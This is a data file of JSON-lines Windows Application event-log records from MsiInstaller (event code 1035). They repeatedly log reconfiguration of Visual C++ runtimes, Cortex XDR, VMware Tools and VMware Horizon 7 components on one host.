{"@timestamp":1657399090531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171001}}
{"@timestamp":1657399090567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171002}}
{"@timestamp":1657399090594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171003}}
{"@timestamp":1657399150228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171004}}
{"@timestamp":1657399150253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171005}}
{"@timestamp":1657399150302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171006}}
{"@timestamp":1657399150341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171007}}
{"@timestamp":1657399150369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171008}}
{"@timestamp":1657399150398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171009}}
{"@timestamp":1657399150425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171010}}
{"@timestamp":1657399150450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171011}}
{"@timestamp":1657399150485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171012}}
{"@timestamp":1657399150511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171013}}
{"@timestamp":1657399210274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171014}}
{"@timestamp":1657399210300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171015}}
{"@timestamp":1657399210351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171016}}
{"@timestamp":1657399210390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171017}}
{"@timestamp":1657399210417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171018}}
{"@timestamp":1657399210447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171019}}
{"@timestamp":1657399210474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171020}}
{"@timestamp":1657399210500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171021}}
{"@timestamp":1657399210536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171022}}
{"@timestamp":1657399210563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171023}}
{"@timestamp":1657399270410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171024}}
{"@timestamp":1657399270437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171025}}
{"@timestamp":1657399270488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171026}}
{"@timestamp":1657399270527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171027}}
{"@timestamp":1657399270555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171028}}
{"@timestamp":1657399270585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171029}}
{"@timestamp":1657399270611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171030}}
{"@timestamp":1657399270636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171031}}
{"@timestamp":1657399270672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171032}}
{"@timestamp":1657399270698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171033}}
{"@timestamp":1657399330445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171034}}
{"@timestamp":1657399330471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171035}}
{"@timestamp":1657399330521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171036}}
{"@timestamp":1657399330561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171037}}
{"@timestamp":1657399330589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171038}}
{"@timestamp":1657399330619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171039}}
{"@timestamp":1657399330646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171040}}
{"@timestamp":1657399330673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171041}}
{"@timestamp":1657399330711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171042}}
{"@timestamp":1657399330740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171043}}
{"@timestamp":1657399390616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171044}}
{"@timestamp":1657399390643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171045}}
{"@timestamp":1657399390692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171046}}
{"@timestamp":1657399390733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171047}}
{"@timestamp":1657399390761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171048}}
{"@timestamp":1657399390792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171049}}
{"@timestamp":1657399390819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171050}}
{"@timestamp":1657399390845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171051}}
{"@timestamp":1657399390881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171052}}
{"@timestamp":1657399390908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171053}}
{"@timestamp":1657399450388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171054}}
{"@timestamp":1657399450415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171055}}
{"@timestamp":1657399450465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171056}}
{"@timestamp":1657399450505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171057}}
{"@timestamp":1657399450534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171058}}
{"@timestamp":1657399450565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171059}}
{"@timestamp":1657399450592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171060}}
{"@timestamp":1657399450618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171061}}
{"@timestamp":1657399450654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171062}}
{"@timestamp":1657399450681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171063}}
{"@timestamp":1657399510512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171064}}
{"@timestamp":1657399510540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171065}}
{"@timestamp":1657399510591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171066}}
